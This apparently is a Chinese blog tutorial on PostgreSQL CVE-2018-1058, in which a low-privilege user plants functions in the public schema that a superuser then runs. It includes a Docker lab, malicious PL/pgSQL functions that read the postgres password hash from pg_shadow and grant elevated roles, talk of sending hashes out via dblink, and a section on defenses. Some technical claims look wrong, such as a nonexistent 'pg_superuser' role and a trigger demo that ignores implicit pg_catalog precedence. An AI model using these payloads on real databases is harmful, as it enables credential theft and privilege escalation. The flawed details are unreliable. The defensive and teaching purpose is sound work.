1. 从一次“意外”的数据库提权说起
几年前,我在给一个客户做安全审计的时候,遇到一件挺有意思的事儿。客户的业务系统用的是PostgreSQL数据库,权限管理做得还算规范,普通应用账号和超级管理员账号是分开的。但就在一次常规的数据库备份操作后,他们发现一个普通应用账号的权限突然变大了,甚至能读取一些原本没权限看的敏感表。排查了半天,最后定位到一个叫CVE-2018-1058的漏洞。这个漏洞的狡猾之处在于,它不需要攻击者去爆破密码或者找什么未授权访问入口,它利用的是PostgreSQL一个非常基础但又容易被忽略的机制——搜索路径(search_path)和public模式的默认权限。
简单来说,这个漏洞就像一个“陷阱”。攻击者(一个低权限的普通数据库用户)可以在一个叫public的公共区域,提前埋下一个和系统内置函数同名的“山寨”函数。当数据库的超级用户(比如postgres)在执行某些看似正常的操作时,比如备份数据库(pg_dump),系统可能会“走错路”,不小心执行了攻击者埋下的那个恶意函数。这个恶意函数一旦被执行,就能帮攻击者“办点事”,比如把他的权限提升到和超级用户一样,或者直接把超级用户的密码哈希偷出来。
听起来是不是有点像“李鬼冒充李逵”?这个漏洞影响的范围可不小,从PostgreSQL 9.3到10版本都受影响。很多开发者和运维朋友可能觉得,只要数据库密码够复杂、防火墙规则够严就安全了,但这个漏洞恰恰绕过了这些常规防御,从数据库内部逻辑的“信任关系”下手。今天,我就带大家把这个漏洞掰开揉碎了讲清楚,从它到底是怎么产生的,到攻击者如何一步步下套,最后再聊聊咱们作为防御方,该怎么扎紧篱笆,把这个风险彻底堵上。无论你是开发者、运维还是安全研究员,理解这个漏洞都能帮你更好地守护你的数据库。
2. 漏洞核心原理:Public模式与Search_path的“信任危机”
要弄懂CVE-2018-1058,你得先理解PostgreSQL里两个关键概念:模式(Schema)和搜索路径(Search Path)。你可以把一个数据库(Database)想象成一个大楼,模式就是大楼里不同的楼层或者功能区。比如,一楼是公共大厅(public模式),二楼是A公司的办公区(schema_a模式),三楼是B公司的办公区(schema_b模式)。
默认情况下,当你创建一个新数据库时,PostgreSQL会自动创建一个名叫public的模式。而且,在早于11版本的PostgreSQL中,任何用户(包括普通用户)都被默认允许在public模式里创建对象,比如表、函数、视图。这就好比公共大厅里,任何人都可以临时放个箱子、贴张告示。
现在来说搜索路径。当你在SQL语句里写SELECT * FROM my_table;,却没有指明my_table在哪个“楼层”时,数据库怎么知道去哪找呢?它就靠search_path这个配置。search_path是一个有序的模式名列表。数据库会按照这个列表的顺序,逐个“楼层”去寻找my_table这张表。默认的search_path通常是"$user", public。这里的"$user"是一个变量,会自动替换成当前登录的用户名同名的模式,如果找不到,就继续找public模式。
漏洞的导火索就在这里:超级用户(比如postgres)在执行某些操作时,其search_path可能会被影响,使得public模式被优先搜索。而攻击者,作为一个低权限用户,恰恰可以在public模式里“埋雷”。
2.1 攻击者的“李鬼”把戏
攻击思路非常清晰:在public模式里,创建一个与PostgreSQL系统内置函数或操作符同名的恶意函数。举个例子,系统里有一个常用的、受信任的函数叫public.array_to_string。攻击者可以在public模式里也创建一个名叫array_to_string的函数。
当超级用户执行一个涉及array_to_string的操作时(这个操作可能隐藏在某个复杂的查询或像pg_dump这样的工具中),如果当时的环境下search_path里public模式排在系统模式(如pg_catalog,真正存放内置函数的地方)前面,数据库就会优先找到并执行攻击者在public里创建的那个“李鬼”函数,而不是真正的系统函数。
这个“李鬼”函数内部,攻击者可以写入任何他能执行的SQL代码。由于这个函数是被超级用户的会话上下文触发的,它将以超级用户的权限运行!这就完成了权限的跨越。攻击者通常在里面做两件事:一是直接给自己提升权限(比如把自己加入pg_superuser角色),二是窃取敏感信息(比如读取pg_shadow系统表获取其他用户的密码哈希)。
我打个比方:这就像公司CEO(超级用户)有一个习惯,每天早晨让秘书去“一楼大厅的打印机”(一个通用函数)打印日程。攻击者(普通员工)偷偷把一楼大厅的打印机换成了一个外形一模一样,但内部连接了自己电脑的设备。第二天,CEO的秘书又来打印,结果打印指令和敏感数据就发到了攻击者的电脑上。整个过程,CEO和秘书都没有违反任何规定,只是信任了“一楼大厅的打印机”这个默认的位置。
3. 攻击链深度拆解:一次完整的“偷天换日”
光讲原理可能还有点抽象,咱们把攻击者具体每一步怎么操作,以及为什么能成功,彻底拆解一遍。你会发现,整个过程就像一套精心设计的组合拳。
3.1 第一阶段:潜伏与布防
首先,攻击者需要获得一个最低限度的数据库访问权限。这并不难,可能是一个Web应用的数据查询权限,一个报表系统的只读账号,甚至是一个配置错误的允许连接的外部服务账号。这个账号的权限很低,可能只有CONNECT到某个数据库和CREATE权限(在public模式上)。
-
侦察环境:攻击者连接数据库后,会先查看自己的权限和数据库版本,确认是否在受影响范围(9.3-10)。他会查询
current_user和current_setting('search_path'),了解自己的身份和当前的搜索路径。 -
寻找“替身”目标:攻击者需要选择一个合适的系统函数作为“替身”。这个函数需要满足几个条件:在超级用户执行某些常见操作时会被调用;函数名在
public模式下可以被创建(即没有同名对象冲突);函数的行为可以被恶意利用。像array_to_string、lower、upper等这类常用文本处理函数,或者某些类型转换函数,都是常见目标。 -
铸造“李鬼”函数:这是最关键的一步。攻击者在
public模式下创建恶意函数。这个函数的名称、参数类型、返回值类型必须和真实的系统函数完全一致,这样才能成功“冒充”。我们来看一个真实的恶意函数例子,它冒充的是
array_to_string(anyarray, text):CREATE FUNCTION public.array_to_string(anyarray, text) RETURNS TEXT AS $$ BEGIN -- 恶意操作1:尝试提升自身权限 EXECUTE 'GRANT pg_superuser TO ' || quote_ident(current_user); -- 恶意操作2:窃取超级用户密码哈希(示例,实际需根据情况调整) -- EXECUTE 'INSERT INTO public.stolen_hashes SELECT usename, passwd FROM pg_shadow WHERE usename = ''postgres'''; -- 最后,调用真正的系统函数,避免破坏原操作导致立即被发现 RETURN pg_catalog.array_to_string($1, $2); END; $$ LANGUAGE plpgsql SECURITY DEFINER;注意
SECURITY DEFINER这个关键字,它表示函数将以创建者的权限运行。但这里有个关键陷阱:在CVE-2018-1058的利用链中,我们通常不依赖SECURITY DEFINER,因为我们的目标是让超级用户来执行它。我们创建的是普通函数,但当超级用户的会话执行它时,它自然就拥有了超级权限。上面例子中我加上SECURITY DEFINER是为了更清晰地展示意图,在实际漏洞利用中,攻击者更可能创建VOLATILE函数并嵌入如dblink这样的扩展进行网络外联,偷取密码哈希。
3.2 第二阶段:触发与收割
“陷阱”设好了,怎么让超级用户踩上去呢?攻击者不需要去主动攻击,他只需要等待。超级用户在日常运维中很多操作都可能触发。
- 等待时机:最常见的触发场景是数据库备份。超级用户使用
pg_dump命令导出数据库时,pg_dump为了完整保存数据,会遍历并导出所有对象,包括函数体。在导出过程中,它需要解析和重写函数定义,这个过程中就可能调用到像array_to_string这样的函数来处理某些内部数据(比如数组类型的默认值)。如果此时pg_dump进程的search_path设置使得public模式优先,恶意函数就被触发了。 - 另一种触发方式:超级用户执行一些复杂的查询或维护脚本,这些脚本中可能隐式调用了被“污染”的函数。甚至有些第三方管理工具在连接后执行初始化查询时也可能中招。
- 收割成果:一旦恶意函数被超级用户会话执行,里面的恶意SQL就会以超级权限运行。如果是提权语句,攻击者的账号瞬间就拥有了至高权限。如果是窃密语句,密码哈希等信息可能被写入一张攻击者预先创建好的表,或者通过
dblink、COPY TO PROGRAM等功能发送到攻击者控制的服务器。
我当年复现这个漏洞时,用的是dblink外联的方式。攻击者在public下创建恶意函数,函数内部使用dblink_connect尝试连接到一个由攻击者控制的、在监听状态的PostgreSQL服务(甚至是简单的nc监听器),并将窃取到的pg_shadow表中的密码哈希作为连接参数的一部分发送出去。这样,攻击者在自己的监听端就能收到密码哈希,然后进行离线破解。这种方式隐蔽且不需要在目标数据库留下明显的日志(如新建表)。
4. 实战复现:亲手搭建漏洞环境与利用
理解了原理和攻击链,最好的巩固方式就是亲手复现一遍。别担心,我会用最详细的方式带你走通整个过程。我们使用Docker来快速搭建一个包含漏洞的PostgreSQL环境,这安全又方便。
4.1 环境准备与搭建
首先,确保你的机器上安装了Docker和Docker Compose。我们创建一个简单的docker-compose.yml文件来定义漏洞环境。
version: '3'
services:
postgres:
image: postgres:9.6 # 使用受影响版本的镜像,这里以9.6为例
container_name: pg_cve_2018_1058
environment:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: super_secret_password # 超级用户密码
POSTGRES_DB: vulndb
ports:
- "5432:5432"
# 启动时创建一个普通用户
command: >
sh -c "
docker-entrypoint.sh postgres &
sleep 5
psql -U postgres -c \"CREATE USER vulnuser WITH PASSWORD 'user_password';\"
psql -U postgres -c \"GRANT CONNECT ON DATABASE vulndb TO vulnuser;\"
psql -U postgres -c \"GRANT CREATE ON SCHEMA public TO vulnuser;\"
wait
"
这个配置做了几件事:启动一个PostgreSQL 9.6的容器;设置超级用户postgres的密码;创建一个名为vulndb的数据库;创建一个普通用户vulnuser,并授予它连接vulndb数据库和在public模式下的创建权限。这模拟了一个典型的、权限设置稍显宽松的场景。
在终端中,进入存放这个YAML文件的目录,运行:
docker-compose up -d
等待片刻,用docker-compose logs查看日志,确认数据库初始化完成且普通用户创建成功。
4.2 发动攻击:创建恶意函数
现在,我们扮演攻击者,使用普通用户vulnuser的身份连接数据库:
psql -h localhost -p 5432 -U vulnuser -d vulndb
# 输入密码:user_password
连接成功后,我们先确认一下环境。执行\du可以查看用户角色,确认vulnuser是普通用户。执行SHOW search_path;可以看到当前搜索路径。
接下来,创建我们的恶意函数。这次我们模拟一个更真实的场景:窃取超级用户的密码哈希。我们将使用dblink扩展(需要提前安装,但很多默认安装包含,或攻击者可尝试创建)。为了演示,我们假设dblink可用。我们在public模式下创建一个与系统函数同名的函数。
-- 首先,尝试创建dblink扩展(如果权限允许,或者假设已存在)
-- CREATE EXTENSION IF NOT EXISTS dblink;
-- 关键:在public模式创建恶意函数
CREATE OR REPLACE FUNCTION public.array_to_string(anyarray, text)
RETURNS TEXT AS
$$
DECLARE
stolen_hash TEXT;
BEGIN
-- 窃取postgres用户的密码哈希(md5格式)
SELECT passwd INTO stolen_hash FROM pg_catalog.pg_shadow WHERE usename = 'postgres';
-- 为了演示,我们简单地将哈希输出到服务器日志(实际攻击可能外联)
RAISE NOTICE 'STOLEN HASH: %', stolen_hash;
-- 也可以尝试执行提权操作(这里需要更复杂的上下文,仅作示例)
-- EXECUTE 'ALTER USER vulnuser WITH SUPERUSER;';
-- 最后,调用真正的系统函数,确保原功能正常,避免怀疑
RETURN pg_catalog.array_to_string($1, $2);
END;
$$ LANGUAGE plpgsql;
执行上述SQL。现在,一个“李鬼”函数已经静静地躺在了public模式里。
4.3 等待与触发:模拟超级用户操作
现在,我们切换到超级用户视角。打开另一个终端窗口,用超级用户postgres登录:
psql -h localhost -p 5432 -U postgres -d vulndb
# 输入密码:super_secret_password
作为超级用户,我们执行一个可能会触发array_to_string函数的操作。一个经典的、能稳定触发漏洞的操作是使用pg_dump。但在psql里,我们可以模拟一个更直接的场景:执行一个会隐式调用该函数的查询。
首先,我们检查一下当前超级用户的search_path。在psql中执行SHOW search_path;。默认可能是"$user", public。为了演示漏洞,我们可能需要临时调整,让public出现在pg_catalog前面,或者确保函数调用没有明确指定模式。但很多内置操作在调用函数时,如果函数名是未限定的(即没有schema.funcname),且public在路径中,就可能中招。
让我们创建一个简单的测试表来触发:
-- 用超级用户创建一个包含数组字段和默认值的表
CREATE TABLE super_user_table (
id SERIAL PRIMARY KEY,
tags TEXT[] DEFAULT ARRAY['test', 'array']
);
-- 尝试查询这个表,某些内部格式化过程可能会调用array_to_string
-- 但更直接的方式是,模拟一个调用该函数的操作
SELECT array_to_string(ARRAY['a','b','c'], ',');
当你执行最后一句SELECT时,观察输出。如果漏洞成功触发,你应该能在PostgreSQL的服务器日志中看到我们RAISE NOTICE输出的那条包含密码哈希的信息。查看Docker容器日志:
docker-compose logs postgres | grep "STOLEN HASH"
如果你看到了类似STOLEN HASH: md5xxxxxxxxxxxxxxxxxxxxxxxxxx的输出,那么恭喜(或者说,警报拉响),漏洞复现成功!超级用户在执行一个看似无害的操作时,执行了攻击者埋下的代码,并泄露了敏感信息。
在实际攻击中,攻击者不会用RAISE NOTICE这样高调的方式,而是通过dblink将哈希悄无声息地发送到远程服务器,或者写入一个隐蔽的表。
5. 企业级防御方案:从根源上堵住漏洞
复现漏洞是为了更好地防御。知道了攻击者怎么玩,咱们就能有针对性地把路堵死。针对CVE-2018-1058,防御的核心思路就两条:收紧public模式的权限和严格控制search_path。下面我分享几种从简单到深入、适合不同规模企业的防御方案。
5.1 立即生效的紧急加固措施
如果你怀疑你的数据库可能存在风险,或者刚刚了解到这个漏洞,可以立即执行以下命令,这些命令影响范围广,能快速降低风险。
措施一:收回Public模式的CREATE权限
这是最直接、最有效的一步。执行这条命令,将禁止所有非超级用户在public模式下创建任何新对象(表、函数、视图等)。
-- 以超级用户身份,在需要保护的每个数据库中执行
\c your_database_name;
REVOKE CREATE ON SCHEMA public FROM PUBLIC;
这里的PUBLIC是一个特殊的角色,代表所有用户。执行后,普通用户再尝试在public下创建对象就会收到权限错误。注意:这可能会影响一些依赖在public模式创建对象的遗留应用或脚本,执行前请评估。对于新部署的数据库,强烈推荐一开始就执行此操作。
措施二:为现有用户设置安全的search_path
确保所有用户的默认search_path不包含public,或者将public放在pg_catalog之后。最安全的做法是设置为以用户同名模式开头。
-- 为特定用户修改(例如用户 ‘app_user’)
ALTER ROLE app_user SET search_path = "$user", pg_catalog;
-- 你也可以通过查询pg_roles,批量生成修改语句
SELECT 'ALTER ROLE ' || rolname || ' SET search_path = "$user", pg_catalog;'
FROM pg_roles
WHERE rolname NOT LIKE 'pg_%'; -- 排除系统角色
将pg_catalog(系统模式)显式加入search_path并置于public之前,可以确保在未指定模式时,系统内置函数优先被找到。
5.2 面向生产的深度防御策略
紧急措施治标,要治本还需要从架构和管理上入手。
策略一:严格的模式使用规范
- 废除public模式的使用:在新项目中,可以考虑完全不用
public模式。为每个应用或服务创建独立的模式(schema),并将对应的数据库用户默认的search_path设置为该专用模式。 - 权限隔离:遵循最小权限原则。应用用户只能访问其专属的模式。使用
CREATE SCHEMA app_schema AUTHORIZATION app_user;,然后设置app_user的search_path为app_schema, pg_catalog。彻底杜绝跨模式污染的可能性。
策略二:配置层面全局管控
在PostgreSQL的主配置文件postgresql.conf中,可以设置全局的默认search_path。这会影响所有新建的会话。
# 在postgresql.conf 中添加或修改
search_path = '"$user", pg_catalog'
修改后需要重启PostgreSQL服务或让配置重载生效。这确保了即使某个用户的search_path被意外修改,新会话也会继承这个更安全的默认值。
策略三:代码与运维规范
- 函数调用始终使用限定名:在编写SQL脚本、应用代码或存储过程时,养成好习惯,永远使用完整的模式限定名来调用函数和操作符。例如,总是写
pg_catalog.array_to_string(...),而不是array_to_string(...)。这样就从根源上切断了搜索路径劫持的可能。 - 审慎使用SECURITY DEFINER函数:
SECURITY DEFINER函数虽然方便,但它以定义者的权限运行,如果定义者权限过高且函数体不安全,会引入风险。确保这类函数定义在受信任的模式下,并且其search_path在创建时被显式设置,例如CREATE FUNCTION ... SET search_path = pg_catalog;。 - 定期审计:定期运行审计查询,检查
public模式中是否存在非预期的、尤其是与系统对象同名的函数。SELECT nspname, proname, proowner::regrole FROM pg_proc p JOIN pg_namespace n ON p.pronamespace = n.oid WHERE nspname = 'public' AND proname IN (SELECT proname FROM pg_proc WHERE pronamespace = 'pg_catalog'::regnamespace);
5.3 针对云托管数据库的特别提醒
如果你使用的是AWS RDS、Google Cloud SQL、Azure Database for PostgreSQL等云服务,情况略有不同。云服务商通常已经对默认配置进行了一些安全加固。例如,某些服务可能在创建数据库时默认已经收回了public模式的CREATE权限。但是,你仍然需要:
- 主动检查:登录你的云数据库实例,运行
\dn+ public查看public模式的权限,运行SHOW search_path;查看默认路径。 - 利用云平台的安全工具:大多数云平台都提供漏洞评估或安全中心功能,定期扫描数据库配置,确保其符合最佳实践。
- 遵循云平台的最佳实践指南:AWS、GCP等都有详细的PostgreSQL安全白皮书,其中通常会包含针对此类漏洞的防护建议,务必阅读并实施。
防御CVE-2018-1058这类漏洞,本质上是一场关于“信任”和“默认值”的安全博弈。PostgreSQL的强大和灵活带来了一些默认设置上的便利性风险。作为管理员,我们的任务就是将这种便利性带来的风险,通过明确的权限划分和路径配置,转化为可控、可审计的安全状态。从我处理过的多起相关案例来看,只要按照上述方案进行系统性地加固,这个漏洞的威胁完全可以被消除。安全往往就藏在这些细节配置里,多花一点时间理解并收紧这些配置,远比事后补救要轻松得多。

357

被折叠的 条评论
为什么被折叠?



